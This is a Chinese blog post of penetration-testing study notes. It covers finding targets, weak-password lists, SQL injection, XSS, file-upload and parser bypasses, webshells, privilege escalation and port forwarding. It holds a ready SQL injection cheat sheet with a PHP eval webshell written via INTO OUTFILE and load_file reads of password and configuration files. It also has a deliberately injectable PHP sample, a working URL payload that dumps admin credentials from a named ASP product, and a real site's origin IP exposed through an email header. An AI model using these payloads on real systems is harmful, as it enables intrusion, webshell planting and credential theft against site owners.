米斯特白帽子之旅

版权声明:请多多关注博主哟~ https://blog.csdn.net/qq_37865996/article/details/86645298

0x01渗透厂商的寻找

1.厂商的定义

可以是网站,可以是程序

2.如何寻找厂商

1.国内的漏洞平台

补天https://butian.360.cn

补天的阵容:

漏洞银行:https://www.bugbank.cn

2.搜索引擎

百度、谷歌、钟馗之眼https://www.zoomeye.org、傻蛋www.oshadan.com、shodan

针对性寻找系统|后台类漏洞时,输入字段:xxx系统、xxx平台、xxx管理……

寻找企业类时,输入xxx企业、xxx公司、xxx平台……

打开其中某个:http://139.196.78.242:10000

0x02 漏洞提交

提交条件:自己已经可以利用的条件下,证明其危害。

提交前,要进行标题优化

0x03 渗透前需做的工作

其中搜索引擎中

site:列出目标的子域名(要被搜索引擎给收录)

inurl:

。。。

tip:在用户界面,一般序号1为管理员

然后在此学习一下dz程序寻找源站IP:

这里我们登录一个网站:文具控https://www.wenjukong.com。在个人资料设置中,想尽方法让网站给我们发一封邮件:

显示邮件原文,查看网站主机的IP:

此时我们可知,源站IP为101.201.45.138

0x04 弱口令

在此列举一下:

123456
a123456
123456a
5201314
111111
woaini1314
qq123456
123123
000000
1qaz2wsx
1q2w3e4r
qwe123
7758521
123qwe
a123123
123456aa
woaini520
woaini
100200
1314520
woaini123
123321
q123456
123456789
123456789a
5211314
asd123
a123456789
z123456
asd123456
a5201314
aa123456
zhang123
aptx4869
123123a
1q2w3e4r5t
1qazxsw2
5201314a
1q2w3e
aini1314
31415926
q1w2e3r4
123456qq
woaini521
1234qwer
a111111
520520
iloveyou
abc123
110110
111111a
123456abc
w123456
7758258
123qweasd
159753
qwer1234
a000000
qq123123
zxc123
123654
abc123456
123456q
qq5201314
12345678
000000a
456852
as123456
1314521
112233
521521
qazwsx123
zxc123456
abcd1234
asdasd
666666
love1314
QAZ123
aaa123
q1w2e3
aaaaaa
a123321
123000
11111111
12qwaszx
5845201314
s123456
nihao123
caonima123
zxcvbnm123
wang123
159357
1A2B3C4D
asdasd123
584520
753951
147258
1123581321
110120
qq1314520

太省力气的密码设置迎来的就是容易实现的破解。

0x05 爆破、遍历

使用burp suite

0x06 SQL注入

常用的SQL手工注入语句:

判断是否存在SQL注入
'
and 1=1
and 1=2
暴字段长度
Order by 数字
匹配字段
and 1=1 union select 1,2,..,n
暴字段位置
and 1=2 union select 1,2,..,n

利用内置函数暴数据库信息
version() database() user()
不用猜解可用字段暴数据库信息(有些网站不适用):
and 1=2 union all select version() 
and 1=2 union all select database() 
and 1=2 union all select user() 
操作系统信息:
and 1=2 union all select @@global.version_compile_os from mysql.user 
数据库权限:
and ord(mid(user(),1,1))=114  返回正常说明为root 
暴库 (mysql>5.0)
Mysql 5 以上有内置库 information_schema,存储着mysql的所有数据库和表结构信息
and 1=2 union select 1,2,3,SCHEMA_NAME,5,6,7,8,9,10 from information_schema.SCHEMATA limit 0,1

猜表
and 1=2 union select 1,2,3,TABLE_NAME,5,6,7,8,9,10 from information_schema.TABLES where TABLE_SCHEMA=数据库(十六进制) limit 0(开始的记录,0为第一个开始记录),1(显示1条记录)—

猜字段
and 1=2 Union select 1,2,3,COLUMN_NAME,5,6,7,8,9,10 from information_schema.COLUMNS where TABLE_NAME=表名(十六进制)limit 0,1

暴密码
and 1=2 Union select 1,2,3,用户名段,5,6,7,密码段,8,9 from 表名 limit 0,1
高级用法(一个可用字段显示两个数据内容):
Union select 1,2,3concat(用户名段,0x3c,密码段),5,6,7,8,9 from 表名 limit 0,1
直接写马(Root权限)
条件:1、知道站点物理路径
2、有足够大的权限(可以用select ⋯. from mysql.user测试)
3、magic_quotes_gpc()=OFF
select ‘<?php eval_r($_POST[cmd])?>' into outfile ‘物理路径'
and 1=2 union all select 一句话HEX值 into outfile '路径'

load_file() 常用路径:
1、 replace(load_file(0×2F6574632F706173737764),0×3c,0×20)
2、replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))
上面两个是查看一个PHP文件里完全显示代码.有些时候不替换一些字符,如 “<” 替换成”空格” 返回的是网页.而无法查看到代码.
3、 load_file(char(47)) 可以列出FreeBSD,Sunos系统根目录
4、/etc tpd/conf tpd.conf或/usr/local/apche/conf tpd.conf 查看linux APACHE虚拟主机配置文件
5、c:\Program Files\Apache Group\Apache\conf \httpd.conf 或C:\apache\conf \httpd.conf 查看WINDOWS系统apache文件
6、c:/Resin-3.0.14/conf/resin.conf 查看jsp开发的网站 resin文件配置信息.
7、c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机
8、d:\APACHE\Apache2\conf\httpd.conf
9、C:\Program Files\mysql\my.ini
10、../themes/darkblue_orange/layout.inc.php phpmyadmin 爆路径
11、 c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置文件
12、 /usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看
13、 /usr/local/resin-pro-3.0.22/conf/resin.conf 同上
14 、/usr/local/app/apache2/conf/extra tpd-vhosts.conf APASHE虚拟主机查看
15、 /etc/sysconfig/iptables 本看防火墙策略
16 、 usr/local/app/php5 b/php.ini PHP 的相当设置
17 、/etc/my.cnf MYSQL的配置文件
18、 /etc/redhat-release 红帽子的系统版本
19 、C:\mysql\data\mysql\user.MYD 存在MYSQL系统中的用户密码
20、/etc/sysconfig/network-scripts/ifcfg-eth0 查看IP.
21、/usr/local/app/php5 b/php.ini //PHP相关设置
22、/usr/local/app/apache2/conf/extra tpd-vhosts.conf //虚拟网站设置
23、C:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
24、c:\windows\my.ini
25、c:\boot.ini
网站常用配置文件 config.inc.php、config.php。load_file()时要用replace(load_file(HEX),char(60),char(32))
注:
Char(60)表示 <
Char(32)表示 空格

手工注射时出现的问题:
当注射后页面显示:
Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'
如:/instrument.php?ID=13 and 1=2 union select 1,load_file(0x433A5C626F6F742E696E69),3,4,user()
这是由于前后编码不一致造成的,
解决方法:在参数前加上 unhex(hex(参数))就可以了。上面的URL就可以改为:
/instrument.php?ID=13 and 1=2 union select 1,unhex(hex(load_file(0x433A5C626F6F742E696E69))),3,4,unhex(hex(user()))

可被sql注入的例子: 

<?php
$con=mysql_connect("localhost","root","root");
$id=@$_GET['id'];//通过get方式传递id的参数的值
if(!$con){
	die('Could not connect: ' . mysql_error());
}else{
	mysql_select_db("mst");
	$query="select * from $id";
	echo mysql_result(mysql_query($query), 0, "name");//columns
}
?>

0x07 XSS漏洞

XSS分为反射、存储、DOM

反射xss是由于过分相信用户输入造成的,如使用get方式获取用户输入。

存储xss,经过post后,进行操作。恶意的代码输入就会存储到数据库中去。有文件或者代码查询了这个表段后,就会进行相应的恶意输出。

恶意的输入,如<script>alert(1)</script>

0x08 CSRF

csrf原理:通过伪装来自受信任用户的请求来利用受信任的网站。

当我们截取到完整的管理员操作时,可以生成各种格式的文件,当再次执行时,将会运行这个操作指令,已达到攻击的目的。

0x09 文件包含漏洞

原理:通过参数包含本地或者远程的文件并且执行。

本地包含首先需要分析URL,是否有文件名字相关,如出现file等字段.上传自己的文件,如包含<?php phpinfo();?>的2019.jpg,通过参数调用进行使用。

远程包含漏洞

 0x10 代码执行

eval()是代码执行的函数。

0x11 越权

越权无非就是游客做了管理员才能读写的东西。

1.平行越权:不需绕过 ,比如一些管理员看的页面,不需任何验证,直接访问成功。

2.cookie越权

3.javascript越权

IE浏览器 做如下设置:

0x12 文件上传

一般是通过抓包突破对文件格式的限制。

方法有很多,其中一种可以将php文件重命名为图片格式,上传后,将文件名类型修改回去。

以前我还尝试过一种,是在上床时增加后缀,但在十六进制里面进行修改,注释掉后缀。

NGINX解析:直接上传图片格式,利用nginx解析漏洞拿webshell。

IIS解析漏洞

目录解析:  /xx.asp/xx.jpg

文件解析:wooyun.asp:.jpg

使用iis5.x-6.x版本的服务器,大多为windows server 2003,网站比较古老,开发语句一般为asp;该解析漏洞也只能解析asp文件,而不能解析aspx文件。

目录解析(6.0)

形式:www.xxx.com/xx.asp/xx.jpg
原理: 服务器默认会把.asp,.asa目录下的文件都解析成asp文件。

文件解析

形式:www.xxx.com/xx.asp;.jpg
原理:服务器默认不解析;号后面的内容,因此xx.asp;.jpg便被解析成asp文件了。

解析文件类型

IIS6.0 默认的可执行文件除了asp还包含这三种 :

/test.asa
/test.cer
/test.cdx

修复方案

1.目前尚无微软官方的补丁,可以通过自己编写正则,阻止上传xx.asp;.jpg类型的文件名。
2.做好权限设置,限制用户创建文件夹。

apache解析漏洞

漏洞原理

  Apache 解析文件的规则是从右到左开始判断解析,如果后缀名为不可识别文件解析,就再往左判断。比如 test.php.owf.rar “.owf”和”.rar” 这两种后缀是apache不可识别解析,apache就会把wooyun.php.owf.rar解析成php。

漏洞形式

www.xxxx.xxx.com/test.php.php123

其余配置问题导致漏洞

(1)如果在 Apache 的 conf 里有这样一行配置 AddHandler php5-script .php 这时只要文件名里包含.php 即使文件名是 test2.php.jpg 也会以 php 来执行。
(2)如果在 Apache 的 conf 里有这样一行配置 AddType application/x-httpd-php .jpg 即使扩展名是 jpg,一样能以 php 方式执行。

修复方案

1.apache配置文件,禁止.php.这样的文件执行,配置文件里面加入

<Files ~ “.(php.|php3.)”>
        Order Allow,Deny
        Deny from all
</Files>

2.用伪静态能解决这个问题,重写类似.php.*这类文件,打开apache的httpd.conf找到LoadModule rewrite_module modules/mod_rewrite.so
把#号去掉,重启apache,在网站根目录下建立.htaccess文件,代码如下:

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteRule .(php.|php3.) /index.php
RewriteRule .(pHp.|pHp3.) /index.php
RewriteRule .(phP.|phP3.) /index.php
RewriteRule .(Php.|Php3.) /index.php
RewriteRule .(PHp.|PHp3.) /index.php
RewriteRule .(PhP.|PhP3.) /index.php
RewriteRule .(pHP.|pHP3.) /index.php
RewriteRule .(PHP.|PHP3.) /index.php
</IfModule>

0x13 Safe3WVS的使用

打开后,漏洞选项->url输入->开始扫描:

显示为:URL   漏洞相应的参数   结果(可能存在和存在两种结果)

http://www.baidu.com/s?rtt=1&bsst=1&cl=2&tn=news&word= word= 存在XSS漏洞

搞一下:http://www.baidu.com/s?rtt=1&bsst=1&cl=2&tn=news&word=<script>alert(1)</script>

看了一下,这是百度资讯搜索框,其实是具有漏洞特征,但不是个漏洞。哈哈

登录后的扫描:将登录后的cookie输入到指定文本框后,进行扫描。


也可以通过写一个python的脚本去批量的筛选有用的漏洞信息:在python环境下,点击safe3.bat->输入safe3.py->个人文件决定后续步骤。

也可使用spider.log文件,将其中“可能存在”全部去掉,只使用“存在”条目。放入脚本进行使用即可。

0x14 AWVS的使用

现在查看一下主页面:

New Scan->Input Web Url->一路默认点下去就可

可以很容易就实现基本的扫描和登录后的扫描,当然,这只是学习使用工具要完成的任务而已。

登录中的扫描,会被记录,用于扫描。

0x14 Nmap的使用

0x15 中国菜刀的使用

中国菜刀支持服务器类型有PHP、JSP、JSPX、ASP、ASPX

可以完成虚拟终端、数据库管理、文件管理等功能。

0x16 0x17 御剑和椰树的使用

实践一下:

结果:

左侧可以查看结果,可以获取cookie、源码等。本次扫描不出漏洞,事实上这个网站,我很想给干掉,能力尚浅可能只能举报了哈哈。。

查询旁站:

其他功能暂不尝试了。

御剑有五款,分别完成不同的功能。这款神器,带着侠客气息,来到我们的眼前。

1.御剑1.5

点击进入批量扫描后台:

除此之外,正如看到的那样,还可以实现批量检测注入、多重编码转换、MD5相关。

2.御剑2014,这款软件完成的是C段检测

御剑指纹识别:

御剑后台扫描:

第五款类似Nmap

0x18 Bugscan在线扫描

 

0x19 GourdScan

安装:先建立pscan数据库,然后把pscan.sql导入数据库

执行 pip install tornado

运行sqlmapapi和task.py,开启代理,就可以记录在浏览器中访问的网页,并进行扫描。

0x20 信息侦探工具

Scope Pro 5(信息收集),天蝎座WEB安全渗透测试工具集,可以进行自动化的信息侦探,以及目录探测等功能。

查看功能列表:

查看一下,目的网络的站点信息:

查看结构:

0x21 分析0day攻击

SQL注入中,有漏洞黑盒这一说法。为为了搜索目标站点,我们可以搜索语法:inurl:"HomeMarket.asp",默认后台地址为/admin,直接在网址后面加上利用代码就可以直接拿到管理员的账号密码。利用代码为:

NewsType.asp?SmallClass='%20union%20select%200,username%2BCHR(124)%2Bpassword,2,3,4,5,6,7,8,9%20from%20admin%20union%20select%20*%20from%20news%20where%201=2%20and%20"='

获得管理员账号密码后,进一步就可以拿到webshell.

0x22 逻辑漏洞

任意找回密码\任意手机号注册账号\任意邮箱激活

burp抓包,使用字典进行循环即可。

有些网站在注册时,url中的随机码有时并不验证是不是匹配,而是验证是否存在。

0x23 Java反序列化漏洞

0x24 ST2远程代码执行漏洞

0x25 基于WebShell的提权

提权,顾名思义就是提取权限,用于网站入侵和系统入侵中。

在中国菜刀下,进行webshell虚拟终端的操作,创建好用户名和密码之后,就可以进行远程连接。

"[Err]拒绝访问"实际是cmd.exe拒绝访问。可以直接上传cmd.exe,将可执行文件的路径进行操作

setp c:\.........\cmd.exe     设置命令使用的cmd.exe程序。

之后就可以进行使用指令了。

“拒绝访问” 可以查看指令对应程序是否拒绝访问,同样可以上传可执行文件。

如果出现了服务器拒绝创建用户的情况,我们可以使用神器ms15-051,一款提权的exp。因为很多服务器没有打这个补丁,所以可以实现秒提。上传对应版本的ms15-051,运行。

显示了这个情况,意味着这个操作执行失败。

输入systeminfo可以查看操作系统,版本、补丁等各种内容。

使用下一款神器:

一般到这提权都会成功。

关于提取管理员密码明文,可以使用工具GetPass_cmd.exe,上传后执行就可以获取。

0x26 XML注入、APP漏洞挖掘、Burp抓包分析

1.信息侦探

2.进行扫描

3.进行分站的查看

4.找到此系统

下载软件。

修改网络,设置代理。

将计算机主机地址设置为代理服务器主机名,然后计算机运行burp进行抓包就可以。

对xml中的可控信息进行sql注入测试,

根据添加'、随意输入和正确输入的不同返回信息,我们知道存在sql注入漏洞。

这时候,可以将包内容复制,到sqlmap目录下,放入到一个新创建的txt文件中.

开sqlmap,sqlmap -r 新创建的txt文件。就可对其进行注入。

0x27 渗透博客

可在博客下,进行信息侦探,如找寻电子邮件。找到比较完整的个人信息后,可以使用工具或者网页工具进行猜密码操作,再使用burp进行爆破。

0x28 Pkav HTTP Fuzzer

截取数据包,可以使用burp完成,然后复制粘贴到这里面,然后进行标记即可。

然后在右边添加字典,用来爆破用。

验证码根据事实说话,如果是数字的验证码,可以进行识别范围的缩小。

爆破成功后,仍旧是寻找长度不同的。

0x29 基于Webshell提权Lcx内网端口转发

lcx.exe转发需要一台外网的电脑,或者有一台外网的服务器。

使用方法:

服务器上

lcx.exe -listen 51 端口

webshell上

lcx.exe -slave 服务器IP 51 内网IP 3389(远程端口)

CSRF攻击不被发现,使用iframe来生成

到这里,暂告一段落。

猜你喜欢

转载自blog.csdn.net/qq_37865996/article/details/86645298